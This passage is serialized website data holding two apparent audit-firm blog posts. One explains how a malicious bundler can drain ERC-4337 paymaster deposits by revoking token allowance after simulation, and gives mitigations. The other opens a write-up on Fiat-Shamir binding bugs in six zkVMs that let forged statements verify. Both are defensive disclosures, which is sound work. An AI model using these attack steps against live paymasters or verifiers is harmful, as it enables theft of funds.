ctx.treasury,\n",{"type":24,"tag":158,"props":108575,"children":108576},{"class":160,"line":5553},[108577,108581,108585,108589,108593,108598,108602],{"type":24,"tag":158,"props":108578,"children":108579},{"style":188},[108580],{"type":29,"value":108467},{"type":24,"tag":158,"props":108582,"children":108583},{"style":222},[108584],{"type":29,"value":1280},{"type":24,"tag":158,"props":108586,"children":108587},{"style":188},[108588],{"type":29,"value":108476},{"type":24,"tag":158,"props":108590,"children":108591},{"style":222},[108592],{"type":29,"value":4820},{"type":24,"tag":158,"props":108594,"children":108595},{"style":188},[108596],{"type":29,"value":108597}," ctx.treasury ",{"type":24,"tag":158,"props":108599,"children":108600},{"style":222},[108601],{"type":29,"value":225},{"type":24,"tag":158,"props":108603,"children":108604},{"style":188},[108605],{"type":29,"value":108606}," ctx.sender,\n",{"type":24,"tag":158,"props":108608,"children":108609},{"class":160,"line":10636},[108610],{"type":24,"tag":158,"props":108611,"children":108612},{"style":188},[108613],{"type":29,"value":108614}," absoluteCostInToken\n",{"type":24,"tag":158,"props":108616,"children":108617},{"class":160,"line":10652},[108618],{"type":24,"tag":158,"props":108619,"children":108620},{"style":188},[108621],{"type":29,"value":9384},{"type":24,"tag":158,"props":108623,"children":108624},{"class":160,"line":10696},[108625],{"type":24,"tag":158,"props":108626,"children":108627},{"emptyLinePlaceholder":16},[108628],{"type":29,"value":481},{"type":24,"tag":158,"props":108630,"children":108631},{"class":160,"line":10801},[108632,108636,108641,108645,108650,108654,108659,108663,108668],{"type":24,"tag":158,"props":108633,"children":108634},{"style":171},[108635],{"type":29,"value":91287},{"type":24,"tag":158,"props":108637,"children":108638},{"style":188},[108639],{"type":29,"value":108640}," preFundInToken ",{"type":24,"tag":158,"props":108642,"children":108643},{"style":222},[108644],{"type":29,"value":1285},{"type":24,"tag":158,"props":108646,"children":108647},{"style":188},[108648],{"type":29,"value":108649}," (ctx.preFund ",{"type":24,"tag":158,"props":108651,"children":108652},{"style":222},[108653],{"type":29,"value":577},{"type":24,"tag":158,"props":108655,"children":108656},{"style":188},[108657],{"type":29,"value":108658}," ctx.exchangeRate) ",{"type":24,"tag":158,"props":108660,"children":108661},{"style":222},[108662],{"type":29,"value":6238},{"type":24,"tag":158,"props":108664,"children":108665},{"style":465},[108666],{"type":29,"value":108667}," 1e18",{"type":24,"tag":158,"props":108669,"children":108670},{"style":188},[108671],{"type":29,"value":473},{"type":24,"tag":158,"props":108673,"children":108674},{"class":160,"line":24754},[108675],{"type":24,"tag":158,"props":108676,"children":108677},{"emptyLinePlaceholder":16},[108678],{"type":29,"value":481},{"type":24,"tag":158,"props":108680,"children":108681},{"class":160,"line":24789},[108682,108686,108691,108695,108699,108703,108707,108711,108715,108719,108723],{"type":24,"tag":158,"props":108683,"children":108684},{"style":1914},[108685],{"type":29,"value":4936},{"type":24,"tag":158,"props":108687,"children":108688},{"style":188},[108689],{"type":29,"value":108690}," (ctx.recipient ",{"type":24,"tag":158,"props":108692,"children":108693},{"style":222},[108694],{"type":29,"value":16924},{"type":24,"tag":158,"props":108696,"children":108697},{"style":171},[108698],{"type":29,"value":7899},{"type":24,"tag":158,"props":108700,"children":108701},{"style":188},[108702],{"type":29,"value":504},{"type":24,"tag":158,"props":108704,"children":108705},{"style":465},[108706],{"type":29,"value":5682},{"type":24,"tag":158,"props":108708,"children":108709},{"style":188},[108710],{"type":29,"value":723},{"type":24,"tag":158,"props":108712,"children":108713},{"style":222},[108714],{"type":29,"value":74473},{"type":24,"tag":158,"props":108716,"children":108717},{"style":188},[108718],{"type":29,"value":108640},{"type":24,"tag":158,"props":108720,"children":108721},{"style":222},[108722],{"type":29,"value":1280},{"type":24,"tag":158,"props":108724,"children":108725},{"style":188},[108726],{"type":29,"value":108727}," costInToken) {\n",{"type":24,"tag":158,"props":108729,"children":108730},{"class":160,"line":24797},[108731,108736,108740,108745,108749],{"type":24,"tag":158,"props":108732,"children":108733},{"style":188},[108734],{"type":29,"value":108735}," SafeTransferLib.",{"type":24,"tag":158,"props":108737,"children":108738},{"style":496},[108739],{"type":29,"value":104916},{"type":24,"tag":158,"props":108741,"children":108742},{"style":188},[108743],{"type":29,"value":108744},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":24,"tag":158,"props":108746,"children":108747},{"style":222},[108748],{"type":29,"value":5987},{"type":24,"tag":158,"props":108750,"children":108751},{"style":188},[108752],{"type":29,"value":108753}," costInToken);\n",{"type":24,"tag":158,"props":108755,"children":108756},{"class":160,"line":24805},[108757],{"type":24,"tag":158,"props":108758,"children":108759},{"style":188},[108760],{"type":29,"value":5010},{"type":24,"tag":158,"props":108762,"children":108763},{"class":160,"line":24814},[108764],{"type":24,"tag":158,"props":108765,"children":108766},{"emptyLinePlaceholder":16},[108767],{"type":29,"value":481},{"type":24,"tag":158,"props":108769,"children":108770},{"class":160,"line":24856},[108771,108776,108780],{"type":24,"tag":158,"props":108772,"children":108773},{"style":1914},[108774],{"type":29,"value":108775}," emit",{"type":24,"tag":158,"props":108777,"children":108778},{"style":496},[108779],{"type":29,"value":105650},{"type":24,"tag":158,"props":108781,"children":108782},{"style":188},[108783],{"type":29,"value":108784},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":24,"tag":158,"props":108786,"children":108787},{"class":160,"line":24889},[108788],{"type":24,"tag":158,"props":108789,"children":108790},{"style":188},[108791],{"type":29,"value":3967},{"type":24,"tag":25,"props":108793,"children":108794},{},[108795,108797,108802,108804,108810,108812,108818,108820,108825,108827,108832],{"type":29,"value":108796},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":24,"tag":154,"props":108798,"children":108800},{"className":108799},[],[108801],{"type":29,"value":104916},{"type":29,"value":108803},". Note that ",{"type":24,"tag":154,"props":108805,"children":108807},{"className":108806},[],[108808],{"type":29,"value":108809},"preFundCharged",{"type":29,"value":108811}," can be zero, as users can opt out of any ",{"type":24,"tag":154,"props":108813,"children":108815},{"className":108814},[],[108816],{"type":29,"value":108817},"preFund",{"type":29,"value":108819}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":24,"tag":154,"props":108821,"children":108823},{"className":108822},[],[108824],{"type":29,"value":105717},{"type":29,"value":108826}," call inside ",{"type":24,"tag":154,"props":108828,"children":108830},{"className":108829},[],[108831],{"type":29,"value":106801},{"type":29,"value":108833}," will revert and the paymaster won't be able to collect payment from the user.",{"type":24,"tag":25,"props":108835,"children":108836},{},[108837,108839,108844,108846,108852,108854,108860],{"type":29,"value":108838},"However, even when ",{"type":24,"tag":154,"props":108840,"children":108842},{"className":108841},[],[108843],{"type":29,"value":105717},{"type":29,"value":108845}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":24,"tag":154,"props":108847,"children":108849},{"className":108848},[],[108850],{"type":29,"value":108851},"requiredPrefund",{"type":29,"value":108853}," was taken from the paymaster's ",{"type":24,"tag":101,"props":108855,"children":108858},{"href":108856,"rel":108857},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[105],[108859],{"type":29,"value":63237},{"type":29,"value":347},{"type":24,"tag":25,"props":108862,"children":108863},{},[108864,108866,108871],{"type":29,"value":108865},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":24,"tag":154,"props":108867,"children":108869},{"className":108868},[],[108870],{"type":29,"value":105717},{"type":29,"value":108872}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":24,"tag":1786,"props":108874,"children":108875},{},[108876,108894,108913,108924,108929],{"type":24,"tag":1790,"props":108877,"children":108878},{},[108879,108881,108886,108888],{"type":29,"value":108880},"The bundler creates a ",{"type":24,"tag":154,"props":108882,"children":108884},{"className":108883},[],[108885],{"type":29,"value":103460},{"type":29,"value":108887}," with an intentionally high ",{"type":24,"tag":154,"props":108889,"children":108891},{"className":108890},[],[108892],{"type":29,"value":108893},"gasPrice",{"type":24,"tag":1790,"props":108895,"children":108896},{},[108897,108899,108904,108906,108911],{"type":29,"value":108898},"The bundler ensures the ",{"type":24,"tag":154,"props":108900,"children":108902},{"className":108901},[],[108903],{"type":29,"value":105717},{"type":29,"value":108905}," call will fail by revoking the paymaster's token allowance before ",{"type":24,"tag":154,"props":108907,"children":108909},{"className":108908},[],[108910],{"type":29,"value":105717},{"type":29,"value":108912}," executes",{"type":24,"tag":1790,"props":108914,"children":108915},{},[108916,108917,108922],{"type":29,"value":64629},{"type":24,"tag":154,"props":108918,"children":108920},{"className":108919},[],[108921],{"type":29,"value":105717},{"type":29,"value":108923}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":24,"tag":1790,"props":108925,"children":108926},{},[108927],{"type":29,"value":108928},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":24,"tag":1790,"props":108930,"children":108931},{},[108932],{"type":29,"value":108933},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":24,"tag":25,"props":108935,"children":108936},{},[108937,108939,108944,108946,108951],{"type":29,"value":108938},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":24,"tag":154,"props":108940,"children":108942},{"className":108941},[],[108943],{"type":29,"value":103489},{"type":29,"value":108945}," designed to fail during ",{"type":24,"tag":154,"props":108947,"children":108949},{"className":108948},[],[108950],{"type":29,"value":105717},{"type":29,"value":108952}," while maximizing the gas costs they can charge to the paymaster.",{"type":24,"tag":25,"props":108954,"children":108955},{},[108956,108958,108963,108965,108970,108972,108978,108980,108985],{"type":29,"value":108957},"Some paymasters try to protect against this by simulating the ",{"type":24,"tag":154,"props":108959,"children":108961},{"className":108960},[],[108962],{"type":29,"value":103460},{"type":29,"value":108964}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":24,"tag":154,"props":108966,"children":108968},{"className":108967},[],[108969],{"type":29,"value":103460},{"type":29,"value":108971}," is submitted via ",{"type":24,"tag":154,"props":108973,"children":108975},{"className":108974},[],[108976],{"type":29,"value":108977},"handleOps",{"type":29,"value":108979},". This means the ",{"type":24,"tag":154,"props":108981,"children":108983},{"className":108982},[],[108984],{"type":29,"value":105717},{"type":29,"value":108986}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":24,"tag":25,"props":108988,"children":108989},{},[108990],{"type":29,"value":108991},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":24,"tag":25,"props":108993,"children":108994},{},[108995],{"type":29,"value":108996},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":24,"tag":25,"props":108998,"children":108999},{},[109000],{"type":29,"value":109001},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":24,"tag":36636,"props":109003,"children":109004},{"id":30191},[109005],{"type":29,"value":20189},{"type":24,"tag":25,"props":109007,"children":109008},{},[109009],{"type":29,"value":109010},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":24,"tag":1786,"props":109012,"children":109013},{},[109014,109019,109024,109029,109034],{"type":24,"tag":1790,"props":109015,"children":109016},{},[109017],{"type":29,"value":109018},"Always collect full payment during validation, not after execution",{"type":24,"tag":1790,"props":109020,"children":109021},{},[109022],{"type":29,"value":109023},"Be conservative with gas estimations and include safety margins",{"type":24,"tag":1790,"props":109025,"children":109026},{},[109027],{"type":29,"value":109028},"Carefully validate all user inputs and token transfers",{"type":24,"tag":1790,"props":109030,"children":109031},{},[109032],{"type":29,"value":109033},"Test extensively, including simulation of malicious behavior",{"type":24,"tag":1790,"props":109035,"children":109036},{},[109037,109039,109044],{"type":29,"value":109038},"Always review changes in new ",{"type":24,"tag":154,"props":109040,"children":109042},{"className":109041},[],[109043],{"type":29,"value":103541},{"type":29,"value":109045}," versions, as they may impact your paymaster's design and security assumptions",{"type":24,"tag":25,"props":109047,"children":109048},{},[109049,109051,109056,109058,109063,109065,109070],{"type":29,"value":109050},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":24,"tag":154,"props":109052,"children":109054},{"className":109053},[],[109055],{"type":29,"value":103541},{"type":29,"value":109057}," contract's behavior could potentially break existing ",{"type":24,"tag":154,"props":109059,"children":109061},{"className":109060},[],[109062],{"type":29,"value":103613},{"type":29,"value":109064}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":24,"tag":154,"props":109066,"children":109068},{"className":109067},[],[109069],{"type":29,"value":103541},{"type":29,"value":109071}," versions.",{"type":24,"tag":25,"props":109073,"children":109074},{},[109075],{"type":29,"value":109076},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":24,"tag":25,"props":109078,"children":109079},{},[109080],{"type":29,"value":109081},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":24,"tag":4517,"props":109083,"children":109084},{},[109085],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":109087},[109088,109089,109090,109097,109102,109103],{"id":103375,"depth":213,"text":103378},{"id":103391,"depth":213,"text":103394},{"id":103430,"depth":213,"text":103433,"children":109091},[109092,109093,109094,109095,109096],{"id":103453,"depth":238,"text":103460},{"id":103494,"depth":238,"text":103497},{"id":103520,"depth":238,"text":103523},{"id":15957,"depth":238,"text":103541},{"id":103613,"depth":238,"text":103624},{"id":103676,"depth":213,"text":109098,"children":109099},"Understanding the EntryPoint's Flow",[109100,109101],{"id":103732,"depth":238,"text":103735},{"id":103917,"depth":238,"text":103920},{"id":104160,"depth":213,"text":104166},{"id":105760,"depth":213,"text":105766,"children":109104},[109105,109106],{"id":105820,"depth":238,"text":105823},{"id":105880,"depth":238,"text":105883},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":109111,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":109112,"description":109113,"date":109114,"author":109115,"image":109118,"isFeatured":16,"onBlogPage":16,"tags":109120,"body":109122,"_type":4536,"_id":124927,"_source":4538,"_file":124928,"_stem":124929,"_extension":4541},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[109116,109117],"himanshu","valter",{"src":109119,"width":98546,"height":14857},"/posts/zkvms-unfaithful-claims/title.png",[109121],"zkVM",{"type":21,"children":109123,"toc":124891},[109124,109129,109171,109184,109187,109193,109198,109326,109329,109335,109341,109346,109378,109526,109531,109654,109665,109676,109699,109710,109715,109748,109756,109761,109764,109770,109775,109781,109786,109791,109799,109817,109958,109963,109969,110062,110796,110864,110875,110883,111357,111363,111802,112142,112295,112300,113188,113344,113350,113442,113447,114032,114482,114558,114564,114569,114638,114648,114664,114674,114735,115154,115186,115196,115371,115376,115386,115986,116174,116192,116195,116201,116206,116214,116246,116608,116613,116698,116701,116707,116715,116720,116723,116729,116734,116742,116750,116758,116766,116799,116807,116815,116906,117157,117484,117492,117522,117692,118018,118023,118028,118045,118048,118053,118058,118070,118082,118673,118685,118697,118704,118712,118724,118732,118747,118752,119032,119051,119146,119165,119181,119184,119190,119195,119200,119207,119215,119222,119230,119243,119261,119721,119823,119828,119833,119849,119852,119858,119863,119875,119886,119891,120281,120288,120296,120321,120341,120597,120608,120627,121011,121357,121587,121746,121906,122474,122479,122505,122508,122514,122519,122526,122534,122547,122619,122630,122638,122648,122656,122667,122941,123030,123059,123062,123067,123201,123213,123220,123225,123378,123404,123411,123419,123424,123490,123495,123885,123972,123988,123991,123997,124002,124008,124108,124167,124172,124178,124183,124191,124196,124202,124207,124212,124218,124223,124226,124232,124238,124243,124248,124253,124258,124263,124266,124272,124435,124440,124443,124448,124459,124776,124781,124805,124810,124828,124833,124836,124842,124847,124852,124862,124867,124877,124887],{"type":24,"tag":25,"props":109125,"children":109126},{},[109127],{"type":29,"value":109128},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":24,"tag":25,"props":109130,"children":109131},{},[109132,109134,109139,109140,109145,109146,109151,109152,109157,109158,109163,109164,109169],{"type":29,"value":109133},"We found six systems where this faithfulness breaks. Across ",{"type":24,"tag":897,"props":109135,"children":109136},{},[109137],{"type":29,"value":109138},"Jolt",{"type":29,"value":191},{"type":24,"tag":897,"props":109141,"children":109142},{},[109143],{"type":29,"value":109144},"Nexus",{"type":29,"value":191},{"type":24,"tag":897,"props":109147,"children":109148},{},[109149],{"type":29,"value":109150},"Cairo-M",{"type":29,"value":191},{"type":24,"tag":897,"props":109153,"children":109154},{},[109155],{"type":29,"value":109156},"Ceno",{"type":29,"value":191},{"type":24,"tag":897,"props":109159,"children":109160},{},[109161],{"type":29,"value":109162},"Expander",{"type":29,"value":8136},{"type":24,"tag":897,"props":109165,"children":109166},{},[109167],{"type":29,"value":109168},"Binius64",{"type":29,"value":109170},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":24,"tag":25,"props":109172,"children":109173},{},[109174,109176,109182],{"type":29,"value":109175},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":24,"tag":101,"props":109177,"children":109179},{"href":109178},"#challenges",[109180],{"type":29,"value":109181},"Challenges",{"type":29,"value":109183}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":24,"tag":20034,"props":109185,"children":109186},{},[],{"type":24,"tag":59,"props":109188,"children":109190},{"id":109189},"jargon-cheat-sheet",[109191],{"type":29,"value":109192},"Jargon Cheat Sheet",{"type":24,"tag":25,"props":109194,"children":109195},{},[109196],{"type":29,"value":109197},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":24,"tag":17924,"props":109199,"children":109200},{},[109201,109211,109221,109231,109241,109251,109261,109271,109281,109291,109301,109311],{"type":24,"tag":1790,"props":109202,"children":109203},{},[109204,109209],{"type":24,"tag":897,"props":109205,"children":109206},{},[109207],{"type":29,"value":109208},"Fiat-Shamir",{"type":29,"value":109210},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":24,"tag":1790,"props":109212,"children":109213},{},[109214,109219],{"type":24,"tag":897,"props":109215,"children":109216},{},[109217],{"type":29,"value":109218},"Transcript",{"type":29,"value":109220},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":24,"tag":1790,"props":109222,"children":109223},{},[109224,109229],{"type":24,"tag":897,"props":109225,"children":109226},{},[109227],{"type":29,"value":109228},"Polynomial Commitment",{"type":29,"value":109230},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":24,"tag":1790,"props":109232,"children":109233},{},[109234,109239],{"type":24,"tag":897,"props":109235,"children":109236},{},[109237],{"type":29,"value":109238},"Sumcheck",{"type":29,"value":109240},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":24,"tag":1790,"props":109242,"children":109243},{},[109244,109249],{"type":24,"tag":897,"props":109245,"children":109246},{},[109247],{"type":29,"value":109248},"MLE (Multilinear Extension)",{"type":29,"value":109250},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":24,"tag":1790,"props":109252,"children":109253},{},[109254,109259],{"type":24,"tag":897,"props":109255,"children":109256},{},[109257],{"type":29,"value":109258},"Lookup / LogUp",{"type":29,"value":109260},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":24,"tag":1790,"props":109262,"children":109263},{},[109264,109269],{"type":24,"tag":897,"props":109265,"children":109266},{},[109267],{"type":29,"value":109268},"AIR",{"type":29,"value":109270},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":24,"tag":1790,"props":109272,"children":109273},{},[109274,109279],{"type":24,"tag":897,"props":109275,"children":109276},{},[109277],{"type":29,"value":109278},"STARK",{"type":29,"value":109280},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":24,"tag":1790,"props":109282,"children":109283},{},[109284,109289],{"type":24,"tag":897,"props":109285,"children":109286},{},[109287],{"type":29,"value":109288},"FRI",{"type":29,"value":109290},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":24,"tag":1790,"props":109292,"children":109293},{},[109294,109299],{"type":24,"tag":897,"props":109295,"children":109296},{},[109297],{"type":29,"value":109298},"OODS",{"type":29,"value":109300},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":24,"tag":1790,"props":109302,"children":109303},{},[109304,109309],{"type":24,"tag":897,"props":109305,"children":109306},{},[109307],{"type":29,"value":109308},"GKR",{"type":29,"value":109310},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":24,"tag":1790,"props":109312,"children":109313},{},[109314,109319,109321],{"type":24,"tag":897,"props":109315,"children":109316},{},[109317],{"type":29,"value":109318},"claimed_sum / opening_claim",{"type":29,"value":109320},": Prover-supplied values that feed into verification equations. ",{"type":24,"tag":897,"props":109322,"children":109323},{},[109324],{"type":29,"value":109325},"These are the usual suspects for binding bugs.",{"type":24,"tag":20034,"props":109327,"children":109328},{},[],{"type":24,"tag":59,"props":109330,"children":109332},{"id":109331},"what-are-we-even-breaking",[109333],{"type":29,"value":109334},"What Are We Even Breaking?",{"type":24,"tag":395,"props":109336,"children":109338},{"id":109337},"what-is-a-zkvm",[109339],{"type":29,"value":109340},"What is a zkVM?",{"type":24,"tag":25,"props":109342,"children":109343},{},[109344],{"type":29,"value":109345},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":24,"tag":25,"props":109347,"children":109348},{},[109349,109351,109376],{"type":29,"value":109350},"Formally, the verifier is convinced that there exists a valid trace ",{"type":24,"tag":154,"props":109352,"children":109354},{"className":109353},[5642,5643],[109355],{"type":24,"tag":158,"props":109356,"children":109358},{"className":109357},[5648],[109359],{"type":24,"tag":158,"props":109360,"children":109362},{"className":109361,"ariaHidden":3185},[5653],[109363],{"type":24,"tag":158,"props":109364,"children":109366},{"className":109365},[5658],[109367,109371],{"type":24,"tag":158,"props":109368,"children":109370},{"className":109369,"style":22827},[5663],[],{"type":24,"tag":158,"props":109372,"children":109374},{"className":109373,"style":22833},[5669,22832],[109375],{"type":29,"value":7637},{"type":29,"value":109377}," such that:",{"type":24,"tag":25,"props":109379,"children":109380},{},[109381],{"type":24,"tag":154,"props":109382,"children":109384},{"className":109383},[5642,5643],[109385],{"type":24,"tag":158,"props":109386,"children":109388},{"className":109387},[5648],[109389],{"type":24,"tag":158,"props":109390,"children":109392},{"className":109391,"ariaHidden":3185},[5653],[109393,109437,109512],{"type":24,"tag":158,"props":109394,"children":109396},{"className":109395},[5658],[109397,109401,109407,109411,109416,109420,109424,109429,109433],{"type":24,"tag":158,"props":109398,"children":109400},{"className":109399,"style":94240},[5663],[],{"type":24,"tag":158,"props":109402,"children":109404},{"className":109403},[5669],[109405],{"type":29,"value":109406},"∃",{"type":24,"tag":158,"props":109408,"children":109410},{"className":109409,"style":5848},[5750],[],{"type":24,"tag":158,"props":109412,"children":109414},{"className":109413,"style":22833},[5669,22832],[109415],{"type":29,"value":7637},{"type":24,"tag":158,"props":109417,"children":109419},{"className":109418,"style":5848},[5750],[],{"type":24,"tag":158,"props":109421,"children":109423},{"className":109422,"style":5848},[5750],[],{"type":24,"tag":158,"props":109425,"children":109427},{"className":109426},[5853],[109428],{"type":29,"value":225},{"type":24,"tag":158,"props":109430,"children":109432},{"className":109431,"style":5848},[5750],[],{"type":24,"tag":158,"props":109434,"children":109436},{"className":109435,"style":5848},[5750],[],{"type":24,"tag":158,"props":109438,"children":109440},{"className":109439},[5658],[109441,109445,109456,109461,109466,109471,109475,109480,109485,109489,109494,109499,109503,109508],{"type":24,"tag":158,"props":109442,"children":109444},{"className":109443,"style":5771},[5663],[],{"type":24,"tag":158,"props":109446,"children":109448},{"className":109447},[5669],[109449],{"type":24,"tag":158,"props":109450,"children":109453},{"className":109451},[5669,109452],"mathsf",[109454],{"type":29,"value":109455},"VM",{"type":24,"tag":158,"props":109457,"children":109459},{"className":109458},[22961],[109460],{"type":29,"value":504},{"type":24,"tag":158,"props":109462,"children":109464},{"className":109463,"style":22833},[5669,22832],[109465],{"type":29,"value":22836},{"type":24,"tag":158,"props":109467,"children":109469},{"className":109468},[5782],[109470],{"type":29,"value":5785},{"type":24,"tag":158,"props":109472,"children":109474},{"className":109473,"style":5789},[5750],[],{"type":24,"tag":158,"props":109476,"children":109478},{"className":109477,"style":96345},[5669,22832],[109479],{"type":29,"value":7783},{"type":24,"tag":158,"props":109481,"children":109483},{"className":109482},[5782],[109484],{"type":29,"value":5785},{"type":24,"tag":158,"props":109486,"children":109488},{"className":109487,"style":5789},[5750],[],{"type":24,"tag":158,"props":109490,"children":109492},{"className":109491,"style":22833},[5669,22832],[109493],{"type":29,"value":7637},{"type":24,"tag":158,"props":109495,"children":109497},{"className":109496},[22983],[109498],{"type":29,"value":521},{"type":24,"tag":158,"props":109500,"children":109502},{"className":109501,"style":5848},[5750],[],{"type":24,"tag":158,"props":109504,"children":109506},{"className":109505},[5853],[109507],{"type":29,"value":23578},{"type":24,"tag":158,"props":109509,"children":109511},{"className":109510,"style":5848},[5750],[],{"type":24,"tag":158,"props":109513,"children":109515},{"className":109514},[5658],[109516,109520],{"type":24,"tag":158,"props":109517,"children":109519},{"className":109518,"style":22827},[5663],[],{"type":24,"tag":158,"props":109521,"children":109524},{"className":109522,"style":109523},[5669,22832],"margin-right:0.22222em;",[109525],{"type":29,"value":7813},{"type":24,"tag":25,"props":109527,"children":109528},{},[109529],{"type":29,"value":109530},"where:",{"type":24,"tag":17924,"props":109532,"children":109533},{},[109534,109564,109594,109624],{"type":24,"tag":1790,"props":109535,"children":109536},{},[109537,109562],{"type":24,"tag":154,"props":109538,"children":109540},{"className":109539},[5642,5643],[109541],{"type":24,"tag":158,"props":109542,"children":109544},{"className":109543},[5648],[109545],{"type":24,"tag":158,"props":109546,"children":109548},{"className":109547,"ariaHidden":3185},[5653],[109549],{"type":24,"tag":158,"props":109550,"children":109552},{"className":109551},[5658],[109553,109557],{"type":24,"tag":158,"props":109554,"children":109556},{"className":109555,"style":22827},[5663],[],{"type":24,"tag":158,"props":109558,"children":109560},{"className":109559,"style":22833},[5669,22832],[109561],{"type":29,"value":22836},{"type":29,"value":109563}," = program/circuit description (public)",{"type":24,"tag":1790,"props":109565,"children":109566},{},[109567,109592],{"type":24,"tag":154,"props":109568,"children":109570},{"className":109569},[5642,5643],[109571],{"type":24,"tag":158,"props":109572,"children":109574},{"className":109573},[5648],[109575],{"type":24,"tag":158,"props":109576,"children":109578},{"className":109577,"ariaHidden":3185},[5653],[109579],{"type":24,"tag":158,"props":109580,"children":109582},{"className":109581},[5658],[109583,109587],{"type":24,"tag":158,"props":109584,"children":109586},{"className":109585,"style":22827},[5663],[],{"type":24,"tag":158,"props":109588,"children":109590},{"className":109589,"style":96345},[5669,22832],[109591],{"type":29,"value":7783},{"type":29,"value":109593}," = public input",{"type":24,"tag":1790,"props":109595,"children":109596},{},[109597,109622],{"type":24,"tag":154,"props":109598,"children":109600},{"className":109599},[5642,5643],[109601],{"type":24,"tag":158,"props":109602,"children":109604},{"className":109603},[5648],[109605],{"type":24,"tag":158,"props":109606,"children":109608},{"className":109607,"ariaHidden":3185},[5653],[109609],{"type":24,"tag":158,"props":109610,"children":109612},{"className":109611},[5658],[109613,109617],{"type":24,"tag":158,"props":109614,"children":109616},{"className":109615,"style":22827},[5663],[],{"type":24,"tag":158,"props":109618,"children":109620},{"className":109619,"style":109523},[5669,22832],[109621],{"type":29,"value":7813},{"type":29,"value":109623}," = claimed public 